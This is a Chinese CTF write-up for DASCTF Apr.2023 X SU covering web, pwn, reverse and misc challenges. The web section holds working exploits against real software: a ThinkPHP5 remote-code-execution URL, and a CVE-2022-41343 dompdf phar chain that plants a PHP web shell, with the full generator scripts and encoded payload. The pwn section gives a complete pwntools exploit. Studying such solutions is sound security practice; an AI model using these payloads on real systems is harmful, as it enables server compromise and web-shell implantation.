DASCTF Apr.2023 X SU Writeup By AheadSec-Toy模板网

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战队的每位同学辛苦了~

Web: Nacl
Pwn: zsNick
Reverse: kcldah
Misc: mochu7

最终第15名

Web

pdf_converter

这题非预期了，有个Thinkphp5的代码执行未修复
http://6399e5ef-2a0f-4320-a88d-1eac8ce4761e.node4.buuoj.cn:81/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+%2Fflag
参考链接:https://www.cnblogs.com/backlion/p/10106676.html

pdf_converter_revenge

CVE-2022-41343: https://tantosec.com/blog/cve-2022-41343

这里是Thinkphp5+dompdf

直接按照上面大佬的CVE文章打就行

#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
    sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
    fd, fn = tempfile.mkstemp(suffix=".ttf")
    os.close(fd)
    font = fontforge.font()
    font.copyright = "DUMMY FONT"
    font.generate(fn)
    with open(fn, "rb") as f:
        res = f.read()
    os.unlink(fn)
    result = res
    return result

if __name__ == "__main__":
    main()

生成font.ttf

python generate_font.py > font.ttf

然后用https://github.com/ambionics/phpggc里面的ThinkPHP 5.0.24的链子

DASCTF Apr.2023 X SU Writeup By AheadSec

php -d phar.readonly=0 phpggc ThinkPHP/RCE2 system "echo '<?php system($_GET[0]); ?>' > /var/www/html/public/mochu7.php" -p phar -pp font.ttf -o font-polyglot.phar

生成payload

#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os

PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
    @font-face {
        font-family:'exploit';
        src:url('%s');
        font-weight:'normal';
        font-style:'normal';
    }
</style>
'''

def get_args():
    parser = argparse.ArgumentParser( prog="generate_payload.py",
                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                      epilog= '''
                       This script will generate payloads for CVE-2022-41343
                      ''')
    parser.add_argument("file", help="Polyglot File")
    parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
    args = parser.parse_args()
    return args

def main():
    args = get_args()
    file = args.file.strip()
    path = args.path.strip()
    if(os.path.exists(file)):
        generate_payloads(file, path)
    else:
        print("ERROR: File doesn't exist.")

def generate_payloads(file, path):
    with open(file, "rb") as f:
        fc = f.read()
    b64 = base64.b64encode(fc)
    data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
    data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
    md5 = hashlib.md5(urllib.parse.unquote(data_uri_double_encoded).encode()).hexdigest()
    # 计算md5这里，因为大佬这里是两次url编码，但是上传之后服务器接收会解一次url，dompdf真正处理的数据应该是经过一次url解码的数据，所以计算md5需要解一次url编码才是正确的文件名
    phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
    req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
    req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
    req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
    req2_pure = PAYLOAD_TEMPLATE % phar_uri
    print("====== REQUEST 1 ENCODED =======")
    print(req1_enc)
    print("====== REQUEST 2 ENCODED =======")
    print(req2_enc)
    print("====== REQUEST 1 NOT ENCODED =======")
    print(req1_pure)
    print("====== REQUEST 2 NOT ENCODED =======")
    print(req2_pure)

if __name__ == "__main__":
    main()

python generate_payloa.py -p "/var/www/html" font-polyglot.phar

DASCTF Apr.2023 X SU Writeup By AheadSec
写入phar

<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ29lSMAAAV0AAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFbAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZCE99jMAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lwP4AwgAAA2AAAAHmcG9zdP%252B3ADIAAAVIAAAAIgABAAAAAQAAX%252Bo3Wl8PPPUACwPoAAAAAOBqWVoAAAAA4GpZWgAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUAEAEJAAEAAAAAAAYACQEuAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAIADnAAMAAQQJAAYAEgEaAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMgAzAC0ANAAtADIAMAAyADMAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAyMy00LTIwMjMAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwACAAAFZlcnNpb24gMDAxLjAwMCAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAAAAgAAAAAAAP%252B1ADIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB%252F%252F8AAgAAAAEAAAAA3OjibgAAAADgallaAAAAAOBqWVo8P3BocCBfX0hBTFRfQ09NUElMRVIoKTsgPz4NCnwKAAABAAAAEQAAAAEAAAAAAEYKAABPOjI3OiJ0aGlua1xwcm9jZXNzXHBpcGVzXFdpbmRvd3MiOjE6e3M6MzQ6IgB0aGlua1xwcm9jZXNzXHBpcGVzXFdpbmRvd3MAZmlsZXMiO2E6MTp7aTowO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo1OntzOjk6IgAqAGFwcGVuZCI7YToxOntpOjA7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjc6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZSI6Mzp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTowO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjA6IiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjEwOiIAKgBoYW5kbGVyIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjY6IgAqAGdldCI7YToxOntzOjE4OiJIRVhFTlM8Z2V0QXR0cj5ubzwiO3M6Njc6ImVjaG8gJzw%252FcGhwIHN5c3RlbSgkX0dFVFswXSk7ID8%252BJyA%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%252Bbm88IjtzOjY3OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3B1YmxpYy9tb2NodTcucGhwIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czo2OiIAKgB0YWciO2I6MTt9czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjY6IkhFWEVOUyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319fX19fQgAAAB0ZXN0LnR4dAQAAABNyURkBAAAAAx%252Bf9i2AQAAAAAAAHRlc3SR0b%252FMLHt34qj9n5u4TVz1aKI3qgIAAABHQk1C');+font-weight:'normal';+font-style:'normal';}</style>

DASCTF Apr.2023 X SU Writeup By AheadSec

触发phar

<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_c9496c4620d0791a2abe018a3919a4e8.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

DASCTF Apr.2023 X SU Writeup By AheadSec

Pwn

four

开始代码审计还是后来官⽅方出了了提示有了了思路路
首先选项2方法
栈喷射: 极⼤大值写⼊入􏰀复字符串串’flag\x00’ 跳过加密不能影响字符串串
选项3方法
输⼊入字符串串output.txt 绕过if代码块让dest变量量成功继承到上⼀一步栈喷射的 'flag\x00' 可以open('flag')了
选项4方法一段for循环的ascii码操作计算
第一层if是在进行read函数的fd参数文件描述符的赋值检测到~号，将它后⼀位数组元素赋值为文件描述符
第⼆层if是在进行read函数的写⼊地址参数赋值, 检测到:号，将它后3位数组元素赋值为写⼊地址
第三层if是在进行read函数的写⼊长度参数赋值，检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度

等于上⾯面三层if 完成了了read函数的参数赋值
这边是构造成了了read(3,0x602121,97)的执⾏效果把选项3⽅法的open('flag')⾥的内容写入到 0x602121地址处,可以写⼊97长度

选项5 通过gdb调试得到栈上变量与argv[0]的地址偏移
通过栈溢出往argv[0]写⼊存储了了flag内容的地址: 0x602121
执行脚本 stack mash攻击:
导致打印stack smashing detected:argv[0]. 也就是会打印出我们写入的 flag内容

from pwn import *

io = remote(b'node4.buuoj.cn', 27513)

io.sendlineafter(b'your choice : \n', b'2')
#写入极大size值
io.sendlineafter(b'You can give any value, trust me, there will be no overflow\n', p64(0x5FF0-8))
#一共 0x5f02字节 写入极大重复长度 打栈喷射 让选项3的方法里 dest变量继承到 栈喷射的野数据  也就'flag\x00'
io.sendlineafter(b'Actually, this function doesn\'t seem to be useful\n', b'aa'+b'flag\x00'*0x1000) 
io.send(b'\n')#跳过加密 直接返回

# gdb.attach(sh, 'b open\nb *0x4013c1')
io.sendlineafter('your choice : \n', b'3')
io.sendlineafter('Enter level:', b'1')
io.sendlineafter('Enter mode:', b'1')
io.sendlineafter('Enter X:', b'1')
io.sendlineafter('Enter a string: ', b'aaa')
io.sendlineafter('please input filename\n', b'output.txt')
io.sendlineafter('1. yes\n2.no\n', b'2')#结束 不能关闭fd的文件流通道


io.sendlineafter('your choice : \n', b'4')
"""
\x60\x21\x21是写入地址 
@a*是写入长度 97: a的ascii码
~3是文件操作符  赋值为3
"""
# sh.sendlineafter(b'info>>\n', b'11>:`!!>@a*>~3') # `!! 是对\x60 \x21 \x21的ascii转化字符
io.sendlineafter('info>>\n', b'11>:\x60\x21\x21>@a*>~3') #载入bss地址


io.sendlineafter('your choice : \n', b'5')
#stack smash  栈溢出覆盖argv[0]为 存放flag的地址
io.sendlineafter('This is a strange overflow. Because of canary, you must not hijack the return address\n', b'a' * 0x118 + p64(0x602121))


io.interactive()

Reverse

easyRE

使用exeinfo打开，发现是python逆向

这里直接使用 pyinstxtractor 提取 pyc文件，入口pyc文件为easyRE.pyc

可以看到的是 python3.11版本，uncompyle 最高支持到3.10

直接使用python的dis库，不熟悉的可以对照参考 https://docs.python.org/3/library/dis.html , 使用dis读取文件并且打印，控制台字节码脚本

import dis
import marshal

# 打开pyc文件，
with open('./easyRE.pyc', 'rb') as f:
    # python3 的magic是16位的
    f.seek(16)
    # 反汇编为字节码
    dis.dis(marshal.load(f))

反汇编字节码，不熟悉可以参照： https://docs.python.org/3/library/dis.html#python-bytecode-instructions

0           0 RESUME                   0
        	# 导入 random模块
  1           2 LOAD_CONST               0 (0)
              4 LOAD_CONST               1 (None)
              6 IMPORT_NAME              0 (random)
              8 STORE_NAME               0 (random)
    	
  3          10 PUSH_NULL
             12 LOAD_NAME                0 (random)
             14 LOAD_ATTR                1 (Random)
             24 LOAD_CONST               2 (322376503)
             26 PRECALL                  1
             30 CALL                     1
             40 STORE_NAME               2 (r)

  6          42 PUSH_NULL
             44 LOAD_NAME                3 (input)
             46 LOAD_CONST               3 ('Enter your flag: ')
             48 PRECALL                  1
             52 CALL                     1
             62 LOAD_METHOD              4 (encode)
             84 PRECALL                  0
             88 CALL                     0
             98 STORE_NAME               5 (pt)

  8         100 LOAD_CONST               4 (b'\x8b\xcck\xd3\xed\x96\xffFb\x06r\x085\x82\xbc \xb2\xde)p\x88Q`\x1bf\x18\xb6QUSw\x10\xcd\xd9\x13A$\x86\xe5\xcd\xd9\xff')
            102 STORE_NAME               6 (ct)

 10         104 BUILD_LIST               0
            106 STORE_NAME               7 (buf)

 12         108 LOAD_NAME                5 (pt)
            110 GET_ITER
        >>  112 FOR_ITER                46 (to 206)
            114 STORE_NAME               8 (b)

 13         116 LOAD_NAME                7 (buf)
            118 LOAD_METHOD              9 (append)
            140 LOAD_NAME                2 (r)
            142 LOAD_METHOD             10 (randint)
            164 LOAD_CONST               0 (0)
            166 LOAD_CONST               5 (255)
            168 PRECALL                  2
            172 CALL                     2
            182 LOAD_NAME                8 (b)
            184 BINARY_OP               12 (^)
            188 PRECALL                  1
            192 CALL                     1
            202 POP_TOP
            204 JUMP_BACKWARD           47 (to 112)

 15     >>  206 PUSH_NULL
            208 LOAD_NAME               11 (bytes)
            210 LOAD_NAME                7 (buf)
            212 PRECALL                  1
            216 CALL                     1
            226 LOAD_NAME                6 (ct)
            228 COMPARE_OP               2 (==)
            234 POP_JUMP_FORWARD_IF_TRUE     2 (to 240)
            236 LOAD_ASSERTION_ERROR
            238 RAISE_VARARGS            1

 17     >>  240 PUSH_NULL
            242 LOAD_NAME               12 (print)
            244 LOAD_CONST               6 ('Correct!')
            246 PRECALL                  1
            250 CALL                     1
            260 POP_TOP
            262 LOAD_CONST               1 (None)
            264 RETURN_VALUE

通过对照，得到代码，可以看到内容就是一个异或

import random

r = random.Random(322376503)

pt = input('Enter your flag: ').encode()

ct = b'\x8b\xcck\xd3\xed\x96\xffFb\x06r\x085\x82\xbc ' \
     b'\xb2\xde)p\x88Q`\x1bf\x18\xb6QUSw\x10\xcd\xd9\x13A$\x86\xe5\xcd\xd9\xff'
buf = []

for b in pt:
    buf.append(r.randint(0, 255) ^ b)

if bytes(buf) == ct:
    print('Correct')

解题脚本，直接异或

import random

r = random.Random(322376503)

ct = b'\x8b\xcck\xd3\xed\x96\xffFb\x06r\x085\x82\xbc ' \
     b'\xb2\xde)p\x88Q`\x1bf\x18\xb6QUSw\x10\xcd\xd9\x13A$\x86\xe5\xcd\xd9\xff'
for b in ct:
    print(chr(r.randint(0, 255) ^ b), end='')

Misc

secret of bkfish

附加的图片用Stegsolve可以看出Red 0通道有数据

保存出来，一开始还是以为真是什么军用级别加密，去找了浪费很多时间没线索，结果看到这么多0xFF有点觉得是异或

尝试了第一个字符之后更加确定是直接异或0xff

DASCTF{wE1ComE_t0_DAsc7f_x_Su__apri1}

Ge9ian’s Girl

two.rar有密码，分析one.docx，有隐藏字符

选中隐藏字符右键取消隐藏字符选项，然后赋值出来，或者修改docx后缀为zip找到document.xml复制出来，出来也可以，根据信息提示找到：Twitter Secret Messages - Steganography：https://holloway.nz/steg/

得到压缩包密码解压

JPG字节流，而且据观察应该连续的

使用脚本简单拼接处理

with open('flag.jpg', 'wb') as f1:
	for i in range(1, 521):
		filename = "./two/" + str(i) + ".txt"
		with open(filename, 'rb') as f:
			f1.write(f.read())

补全jpg文件头，添加三个字节在文件头：FF D8 FF得到图片，并且在EXIF中有明显提示OurSecret并且给了密码，直接解就完事了

文章来源地址https://www.toymoban.com/news/detail-441596.html

DASCTF{426cb864312d5e30e3eef2950ea4826c}

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DASCTF Apr.2023 X SU Writeup By AheadSec

Web

pdf_converter

pdf_converter_revenge

Pwn

four

Reverse

easyRE

Misc

secret of bkfish

Ge9ian’s Girl

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